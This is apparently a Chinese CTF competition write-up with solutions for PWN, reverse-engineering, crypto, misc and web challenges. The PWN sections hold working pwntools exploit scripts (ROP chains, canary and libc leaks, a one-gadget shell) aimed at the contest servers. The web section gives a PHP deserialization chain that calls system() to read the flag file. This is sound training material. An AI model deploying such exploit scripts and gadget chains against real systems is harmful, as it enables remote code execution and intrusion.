PWN

move

简单的栈溢出。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('47.93.188.210', 23106)

sh.sendafter(b'lets travel again!\n', flat([0x405f00, 0x40121A, 0, 0]))
sh.sendafter(b'setp number', p32(0x12345678))

sh.sendafter(b'TaiCooLa', cyclic(48) + flat([0x4050A0, 0x40124b]))
sh.sendafter(b'TaiCooLa', flat([0x405e00, 0x401353, 0x404018, 0x401080, 0x40121A, 0, 0x405ed0, 0x000000000040124b]))
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x80970
success('libc_addr: ' + hex(libc_addr))
sh.sendafter(b'TaiCooLa', flat([0x405d00, libc_addr + 0x4f302, 0x404018, 0x401080, 0x40121A, 0, 0x405dd0, 0x000000000040124b]))

sh.interactive()

pwthon

通过测试找到触发漏洞的PoC:

sh = remote(attach_host, 9541)
sh.sendlineafter(b'> ', b'0')
sh.send(b'0' * 0x100 + b'1' * 0x180)
sh.recvuntil(b'gift ')
app_addr = int(sh.recvline(), 16) - 0x68b0
success('app_addr: ' + hex(app_addr))

根据Poc编写利用脚本:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('101.201.35.76', 45057)

sh.sendlineafter(b'> ', b'0')

sh.send(b'0' * 0xd9)
sh.recvuntil(b'0' * 0xd9)
canary = u64(b'\0' + sh.recvn(7))
success('canary: ' + hex(canary))
sh.send(b'0')

sh.sendlineafter(b'> ', b'0')
sh.send(b'2' * 0x20)
sh.recvuntil(b'2' * 0x20)
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x4473b0
success('libc_addr: ' + hex(libc_addr))
sh.send(b'0')

sh.sendlineafter(b'> ', b'0')
sh.send(b'1234')
sh.recvuntil(b'gift ')
sh.recvuntil(b'1234')
sh.send(cyclic(264) + flat([canary, 0, libc_addr + 0x4f302]) + b'\0' * 0x60)

sh.interactive()

RE

url从哪里来

程序在TMP创建目录了一个子进程 进入目录逆向分析

子进程是一个动态解密URL 并发送请求的过程

动态调试 在内存中发现一个base64编码的字符串

解密后就是flag

hello_py

进入运行中的app中 搜索hello有关的文件

image-20231015200038124

取出来hello.pyc 然后反编译 发现是一个xxtea加密

//#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
 
void btea(uint32_t *v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52/n;
        sum = 0;
        z = v[n-1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p=0; p<n-1; p++)
            {
                y = v[p+1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n-1] += MX;
        }
        while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52/n;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p=n-1; p>0; p--)
            {
                z = v[p-1];
                y = v[p] -= MX;
            }
            z = v[n-1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        while (--rounds);
    }
}
 
 

int main()
{
    uint32_t v[12]={689085350, 626885696, 1894439255, 1204672445, 1869189675, 475967424, 1932042439, 1280104741, 2808893494};
    uint32_t const k[4]={12345678, 12398712, 91283904, 12378192};
    unsigned int r=9;//num_rounds建议取值为32
    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位

    
    btea(v, -9, k);
   printf("%s",v);
    return 0;
}

nesting

通过大量测试,发现题目是一个类似指令模拟的功能, sub_16BC 函数负责模拟指令。

__int64 __fastcall run_code(nest *a1)
{
    ...
        else if ( (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200] >= 8u )
        {
          switch ( a1->field_0[(unsigned __int16)a1->field_1200] )
          {
            case 8:
              *(&a1->result + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]) = (unsigned __int8)a1->field_0[v8];
              a1->field_1200 += 3;
              break;
            case 0xA:
              *(&a1->result + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]) = ((unsigned __int8)a1->field_0[v8 + 1] << 8) | (unsigned __int8)a1->field_0[v8];
              a1->field_1200 += 3;
              break;
            case 0x18:
              a1->field_0[*((unsigned __int16 *)&a1->result
                          + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1])] = v8;
              a1->field_1200 += 3;
              break;
            case 0x1A:
              a1->field_0[*((unsigned __int16 *)&a1->result
                          + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1])] = v8;
              a1->field_0[*((unsigned __int16 *)&a1->result
                          + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1])
                        + 1] = HIBYTE(v8);
              a1->field_1200 += 3;
              break;
            case 0x28:
              a1->field_1204 = v8 == *(&a1->result + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]); // 0x1E21
              a1->field_1200 += 3;
              break;
            case 0x29:
              a1->field_1204 = *((unsigned __int16 *)&a1->result
                               + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]) == ((unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 2] | ((unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 3] << 8)); // 0x1EC9
              a1->field_1200 += 4;
              break;
            default:
              return 0LL;
          }
        }
      }
    }
    return 0LL;
  }
  ...

因为flag需要进行验证是否正确,所以这个模拟指令系统肯定会有判断是否相等的指令,通过分析找到两处判断点:0x1E210x1EC9

随后对这两个地址进行测试,发现0x1E21的触发次数和输入是相关的。通过输入”f”,”fl”,”fla”,”flag”字符串发现0x1E21的触发次数依次递增,因此猜测flag是逐字节进行比较的。通过输入”f0”,”fl”,”fz”发现”fl”字符串0x1E21触发次数最多,因此猜测字符串同长度下,正确的字符组合所触发的0x1E21次数最多。

根据以上逻辑写出爆破脚本:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='error')

def run(content):
    sh = process(['./nesting.patched'])
    sh.sendline(content.encode())
    result = sh.recvrepeat(1)
    sh.close()
    return result.count(b'#')

flag = ''
table = string.printable

while(True):
    max_chr = 0
    max_value = 0
    for chr in table:
        tmp = run(flag + chr)
        if tmp > max_value:
            max_chr = chr
            max_value = tmp
    flag += max_chr
    print(flag)

最终可得 flag{2c7c093b-f648-11ed-a716-701ab8caaafe}

Crypto

lift

# !/usr/bin/env python3.10
# -*- coding: utf-8 -*-

import gmpy2
from Crypto.Util.number import *
hint = 251
n = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
E = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162
e=E//hint
#
# P.<x> = PolynomialRing(Zmod(n))
# f = e * x - 1
# root = f.monic().small_roots(X=2**257,beta=0.5)[0]
# g = gcd(int(e * root - 1),N)
d=39217838246811431279243531729119914044224429322696785472959081158748864949269
g=23153425300889483483553551112335873301449089474555179592930187730428387181422112282990079197590872977617830286073037301064978277511828551780538222539198674709759058026997715121
p=gmpy2.iroot(g,4)[0]
q=n//(p**5)
phi = p ** 4 * (p - 1) * (q - 1)
m251=pow(c,d,n)
d1=inverse(e,phi)
print(pow(c,d1,n))
c=65942580064916339360370107869124805065379278407453423807322070174933076533175126747570263707923877730828981200462382452332851764309132627867196012329998008639862606922074733109347253946308226346992240834103573312752632998287455123587460568157234254421846676210189
p,q=69367143733862710652791985332025152581988181 ,67842402383801764742069883032864699996366777
c=c%(p**3*q)
#脚本1
#Sage
e = 251
for mp in Zmod(p**3)(c).nth_root(e, all=True):
    for mq in GF(q)(c).nth_root(e, all=True):
        m = crt([ZZ(mp), ZZ(mq)], [p**3 ,q])
        try:
            res =long_to_bytes(int(m))
            if b'flag' in res or b'ctf' in res or b'FLAG' in res or b'CTF' in res:
                print(res)
            # if b'flag' in res :
            #     print(res)

        except:
            pass

Misc

签到

base64 ->凯撒

先base64解密:iodj{zh1f0p3_2_Fwi}

丢随波逐流里,凯撒解密得到:

flag{we1c0m3_2_Ctf}

Web

PHP_unserialize_pro

简单的反序列化,直接上exp:

<?php
class Welcome{
     public $name="A_G00d_H4ck3r";
     public $arg;
}

class G00d{
     public $shell;
     public $cmd="more /[e-i]1[1-z][e-i]";
}

class H4ck3r{
    public $func;
} 
$a=new Welcome();
$a ->arg=new H4ck3r();
$a ->arg ->func=new G00d();
$a ->arg ->func ->shell="system";
echo serialize($a);

得到payload正常传参即可。